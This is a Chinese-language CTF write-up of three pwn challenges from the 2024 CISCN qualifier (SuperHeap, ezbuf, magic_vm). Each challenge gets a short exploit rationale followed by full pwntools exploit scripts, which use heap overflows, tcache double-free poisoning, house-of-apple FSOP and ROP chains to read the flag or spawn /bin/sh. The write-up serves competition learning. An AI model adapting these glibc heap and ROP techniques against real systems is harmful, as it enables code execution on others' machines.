2024 CISCN初赛 pwn wp

两天极限speed run,惯例反思:这两周颓了,状态不对,速度还是太慢,希望保持这种节奏

SuperHeap

这段时间最戏剧的事情:比赛结束前5分钟电脑死机了^V^

思路

为什么国赛这么喜欢go

  • 逆向8.3一把梭
  • 交互比较麻烦,套了一层base64,一层protobuf,一层base32,真是套套又娃娃,proto用pbtk提取即可食用
  • 经测试edit可溢出,那就简单了,谁还逆向啊,盲猜永远的神

exp

  • 溢出把空字符都盖了即可带出下一个chunk的内容,由于沙箱堆比较乱,真麻烦

  • book的管理结构体也是写在堆里的,可以用上一个chunk覆盖管理结构体的指针任意写

    比赛的时候就做到这了,然后想写栈结果发现这个go用的不是正常的栈且栈地址无法预测^V^,此时距离比赛结束还有不到十五分钟完全不够我打IO,笑死早知道不看vm看这个说不定就出了

  • house of apple打IO,orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from pwn import *
import base64
import bookProto_pb2
context.log_level='debug'
context.os='linux'
context.arch='amd64'


def encode64(data):
return base64.b64encode(data)

def encode32(data):
return base64.b32encode(data)

def protoencode(title,author,isbn,date,price,stock):
book=bookProto_pb2.CTFBook()
book.title=encode64(title)
book.author=encode64(author)
book.isbn=encode64(isbn)
book.publish_date=encode64(date)
book.price=price
book.stock=stock
pack=book.SerializeToString()
return pack

def buy(idx,title,author,isbn,date,price,stock):
p.sendlineafter(b'Enter your choice > ',b'1')
p.sendlineafter(b'Index: ',str(idx).encode())
p.sendlineafter(b'Special Data: ',encode32(protoencode(title,author,isbn,date,price,stock)))

def see(idx):
p.sendlineafter(b'Enter your choice > ',b'2')
p.sendlineafter(b'Index: ',str(idx).encode())

def returnn(idx):
p.sendlineafter(b'Enter your choice > ',b'3')
p.sendlineafter(b'Index: ',str(idx).encode())

def edit(idx,title,author,isbn,date,price,stock):
p.sendlineafter(b'Enter your choice > ',b'4')
p.sendlineafter(b'Index: ',str(idx).encode())
p.sendlineafter(b'Special Data: ',encode32(protoencode(title,author,isbn,date,price,stock)))

def search(data):
p.sendlineafter(b'Enter your choice > ',b'5')
p.sendlineafter(b'Keyword: ',data)

def quitt():
p.sendlineafter(b'Enter your choice > ',b'6')


#p=remote('8.147.131.163',13015)
p=process('./pwn')
libc=ELF('./libc.so.6')
buy(0,b'',b'',b'',b'',12.1,12)
buy(1,b'',b'',b'',b'',1,1)
see(1)
p.recvuntil(b'ISBN: ')
heap=u64(p.recvuntil(b'\x05').ljust(8,b'\x00'))
print(hex(heap<<12))

buy(2,b'',b'',b'',b'a'*0x100,1,1)
buy(3,b'a'*0x500,b'',b'',b'',1,1)
buy(4,b'a'*0x500,b'',b'',b'',1,1)
returnn(3)
edit(2,b'',b'',b'',b'a'*0x150,1,1)
see(2)
p.recvuntil(b'a'*0x150)
libcbase=u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))-0x21ace0

print(hex(libcbase))
edit(2,b'',b'',b'',b'a'*0x100+p64(0)+p64(0x41)+b'\x00'*0x30+p64(0)+p64(0x510),0,0)

# clean
buy(20,b'a'*0x60,b'a'*0x60,b'a'*0x60,b'a'*0x60,1,1)
buy(21,b'a'*0x60,b'a'*0x60,b'a'*0x60,b'a'*0x60,1,1)
buy(22,b'a'*0x70,b'a'*0xd0,b'a'*0x150,b'a'*0x150,1,1)
buy(23,b'a'*0x160,b'',b'',b'',1,1)

heap=heap<<12
gadget=libcbase+0x167420
setcontext=libcbase+0x53A1D
ret=libcbase+0x29139
rdi=0x2a3e5+libcbase
rsi=libcbase+0x2be51
rdx_r12=libcbase+0x11f2e7
syscall=libcbase+0x1147e0
rax=libcbase+0x45eb0

fake_wide=p64(0)*4+p64(heap+0x100+0x22c0)
fake_wide=fake_wide.ljust(0xe0,b'\x00')
fake_wide+=p64(heap+0x100+0x22c0)
fake_wide=fake_wide.ljust(0x100,b'\x00')
fake_wide+=b'\x00'*0x68+p64(gadget)
fake_wide=fake_wide.ljust(0x200,b'\x00')
fake_wide+=b'\x00'*0x20+p64(setcontext)+p64(setcontext)
fake_wide=fake_wide.ljust(0x2a0)+p64(heap+0x22c0+0x310)+p64(ret)
fake_wide=fake_wide.ljust(0x300,b'\x00')
fake_wide+=b'./flag\x00\x00'+p64(0)+p64(rdi)+p64(heap+0x22c0+0x300)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscall)
fake_wide+=p64(rdi)+p64(3)+p64(rsi)+p64(heap)+p64(rdx_r12)+p64(0x30)+p64(0)+p64(rax)+p64(0)+p64(syscall)
fake_wide+=p64(rdi)+p64(1)+p64(rsi)+p64(heap)+p64(rdx_r12)+p64(0x30)+p64(0)+p64(rax)+p64(1)+p64(syscall)+p64(rdi)+p64(0)+p64(rax)+p64(0x3c)+p64(syscall)
fake_wide=fake_wide.ljust(0x500,b'\x00')

buy(5,b'',b'',b'',fake_wide,1,1)
stderr=libcbase+0x21b6a0
edit(2,b'',b'',b'',b'a'*0x100+p64(0)+p64(0x41)+b'\x00'*0x30+p64(0)+p64(0x41)+p64(stderr),0,0)

wfile_jump=libcbase+0x2170c0

fake_IO=p64((~(2|0x8|0x800))&0xffffffffffffffff)+p64(heap+0x200+0x22c0)+p64(0)*3+p64(1)
fake_IO=fake_IO.ljust(0x90,b'\x00')
fake_IO+=p64(0xffffffffffffffff)
fake_IO=fake_IO.ljust(0xa0,b'\x00')
fake_IO+=p64(heap+0x22c0)+p64(heap+0x22c0)+p64(ret)
fake_IO=fake_IO.ljust(0xc0,b'\x00')
fake_IO+=p64(0xffffffffffffffff)
fake_IO=fake_IO.ljust(0xd8,b'\x00')
fake_IO+=p64(wfile_jump)

edit(5,fake_IO,b'',b'',b'',1,1)

#gdb.attach(p)

quitt()
p.interactive()

ezbuf

经典再现之protobuf套壳堆

思路

  • 有uaf无edit,add固定大小0x30,只有10次delete,3次泄漏后关闭stdout和stderr

  • 高版本double free有板子可以套,比赛的时候完全忘记了有这个浪费了很多时间

    • 大概就是在fastbin里造double free然后再放进tcache
  • 由于只有10次delete所以只能进行一次任意写,可以通过这一次任意写

    • tcache bin这个刚想到了
    • 通过不同大小的whatcon申请到相应大小的chunk,这个没想到
    • 还可以通过把tcache bin放进tcache bin里进行循环使用,套套又娃娃

    这样就能把一次任意写变多次任意写

  • 最后一次泄漏栈地址可以通过改stdout,少一次泄漏避免关闭输出的麻烦

exp

题外话:虽然这个沙箱没什么用,但再次看到这个沙箱倍感亲切(上次应该是ACTF),所以贴一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
import heybro_pb2
context.log_level='debug'
context.arch='amd64'
context.os='linux'


def add(idx,con):
bro=heybro_pb2.Heybro()
bro.whatcon=con
bro.whattodo=1
bro.whatidx=idx
p.sendafter(b'WHAT DO YOU WANT?\n',bro.SerializeToString())

def delete(idx):
bro=heybro_pb2.Heybro()
bro.whattodo=2
bro.whatidx=idx
p.sendafter(b'WHAT DO YOU WANT?\n',bro.SerializeToString())

def magic(idx,thiss,size,con):
bro=heybro_pb2.Heybro()
bro.whattodo=3
bro.whatidx=idx
bro.whatthis=thiss
bro.whatsize=size
bro.whatcon=con
p.sendafter(b'WHAT DO YOU WANT?\n',bro.SerializeToString())

def exitt():
bro=heybro_pb2.Heybro()
bro.whattodo=4
p.sendafter(b'WHAT DO YOU WANT?\n',bro.SerializeToString())


#p=remote('8.147.129.121',15268)
p=process('./pwn')
libc=ELF('./libc.so.6')
add(0,b'a')
add(1,b'a')

magic(0,0,0,b'')
p.recvuntil(b'Content:')
libcbase=u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))-0x21ac61
print(hex(libcbase))

for i in range(9):
add(i,b'a')

for i in range(8):
delete(i)

magic(0,0,0,b'')
p.recvuntil(b'Content:')
heap=u64(p.recvline()[:-1].ljust(8,b'\x00'))+1
print(hex(heap))

delete(8)
delete(7)

for i in range(7):
add(i,b'a')

add(7,p64(((heap<<12)-0x5000+0xe0)^heap))
add(7,b'a')
add(7,b'a')
add(7,b'\x00'*8+p64(libcbase+0x21b780-0x90)+p64(0)+p64(((heap<<12)-0x5000+0xe0)))
payload=b'\x00'*0x90+p64(0xfbad1887)+p64(0)*3+p64(libcbase+0x222200)+p64(libcbase+0x222208)
add(7,payload)
stack=u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))
add(7,p64(0)+p64(stack-0x168)+b'\x00'*0xd0)
#gdb.attach(p)

rdi=libcbase+0x2a3e5
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
system=libcbase+libc.symbols['system']
ret=libcbase+0x29139
rop=b'a'*8+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
add(7,rop.ljust(0xc0,b'\x00'))
p.interactive()

magic_vm

比赛的时候基本上逆完了,一眼没看出洞+解数较少没继续做,感觉当时其实可以做一下的

思路

一个延迟非常大的vm

主要数据结构作用

  • vm_id:解析完的code,生成vm_id的过程中会对reg和address进行校验
  • vm_alu:指令执行
  • vm_mem:内存修改,如stack,reg和mem

vm::run的逻辑如下

  • vm_alu::set_input:将上一轮解析完的vm_id填入vm_alu
  • vm_mem:set_input:将上一轮计算完的vm_alu填入vm_mem
  • vm_id::run:解析输入的code,进行一些检查,填入vm_id
  • vm_alu::run:对vm_alu进行计算
  • vm_mem::run:利用vm_mem进行内存更改

为什么说它延迟大呢,一轮vm::run中

  • vm_alu计算的是上一轮解析的vm_id

  • 当前指令导致的内存的更改需要

    • 一次vm_mem:set_input
    • 一次vm_mem::run

    由于检查在vm_id中,所以

    • 指令执行和内存更改延迟一轮
    • 合法性检查和内存更改延迟两轮

在进行的mem的更改时检查的是reg的内容,但保存的是reg的序号,所以以下操作:

轮次 vm_id vm_alu vm_mem
1 解析更改reg为非法值的指令
2 解析nop指令 执行更改reg为非法值的指令
3 解析mem操作指令(reg此时为合法值,检查通过) 执行nop指令 reg更改生效
4 执行mem操作指令
5 mem操作生效

可以在通过检查后更改reg为非法值

exp

懒得写函数,直接复制粘贴了,真丑

  • 利用libgcc_s泄漏libc基址
  • 利用libgcc_s泄漏vm的mem地址
  • _environ泄漏栈地址
  • 利用栈上返回地址泄漏pie
  • 更改vm的mem为stack
  • 写rop链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'


def inst():
return 1

def mem():
return 3

def reg():
return 2

def args(flag1,flag2,arg1,arg2):
var=(flag1|(flag2<<2)).to_bytes(1,'little')+arg1.to_bytes(1,'little')
if flag2==1:
return var+p64(arg2)
else:
return var+arg2.to_bytes(1,'little')

def arg(flag,arg):
var=flag.to_bytes(1,'little')
if flag==1:
return var+p64(arg)
else:
return var+arg.to_bytes(1,'little')

def add(arg):
return b'\x01'+arg

def sub(arg):
return b'\x02'+arg

def rshift(arg):
return b'\x03'+arg

def lshift(arg):
return b'\x04'+arg

def mov(arg):
return b'\x05'+arg

def andd(arg):
return b'\x06'+arg

def orr(arg):
return b'\x07'+arg

def xor(arg):
return b'\x08'+arg

def pop(arg):
return b'\x09'+arg

def push(arg):
return b'\x0a'+arg

def nop():
return b'\x0b'


p=process('./pwn')
libc=ELF('./libc.so.6')

# libcbase
code=mov(args(reg(),inst(),0,0x27ff8))
code+=nop()
code+=mov(args(reg(),mem(),1,0))
code+=nop()
code+=sub(args(reg(),inst(),1,0x459a0))
code+=nop()

# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()

# membase
code+=mov(args(reg(),inst(),0,0x28020))
code+=nop()
code+=mov(args(reg(),mem(),2,0))
code+=nop()
code+=sub(args(reg(),inst(),2,0xc040))
code+=nop()

# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()

# save libcbase membase
code+=mov(args(mem(),reg(),0,1))
code+=nop()
code+=mov(args(reg(),inst(),0,8))
code+=nop()
code+=mov(args(mem(),reg(),0,2))
code+=nop()

# stack cal
code+=mov(args(reg(),inst(),0,0x222200))
code+=nop()
code+=add(args(reg(),reg(),1,0))
code+=nop()
code+=sub(args(reg(),reg(),1,2))
code+=nop()

# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()

# stack
code+=mov(args(reg(),reg(),0,1))
code+=nop()
code+=mov(args(reg(),mem(),1,0))
code+=nop()
code+=sub(args(reg(),inst(),1,0x130))
code+=nop()

# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()

# pie
code+=mov(args(reg(),reg(),3,1))
code+=nop()
code+=sub(args(reg(),reg(),3,2))
code+=nop()
code+=mov(args(reg(),reg(),0,3))
code+=nop()
code+=mov(args(reg(),mem(),3,0))
code+=nop()
code+=sub(args(reg(),inst(),3,0x1ddd))
code+=nop()
code+=add(args(reg(),inst(),3,0x4200-8))
code+=nop()

# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()

# change membase
code+=sub(args(reg(),reg(),3,2))
code+=nop()
code+=mov(args(reg(),mem(),2,0))
code+=nop()
code+=mov(args(reg(),reg(),0,3))
code+=nop()
code+=mov(args(mem(),reg(),0,1))
code+=nop()

# gap
code+=mov(args(reg(),inst(),3,0))
code+=nop()
code+=nop()

rdi=0x2a3e5
ret=0x29139
bin_sh=next(libc.search(b'/bin/sh\x00'))
system=libc.symbols['system']
# rop
code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,ret))
code+=nop()
code+=mov(args(reg(),inst(),3,0))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()

code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,rdi))
code+=nop()
code+=mov(args(reg(),inst(),3,8))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()

code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,bin_sh))
code+=nop()
code+=mov(args(reg(),inst(),3,0x10))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()

code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,system))
code+=nop()
code+=mov(args(reg(),inst(),3,0x18))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()

# end
code+=nop()
code+=nop()

#gdb.attach(p)
p.sendafter(b'plz input your vm-code\n',code)
p.interactive()

2024 CISCN初赛 pwn wp
http://akaieurus.github.io/2024/05/20/2024国赛初赛pwn-wp/
作者
Eurus
发布于
2024年5月20日
许可协议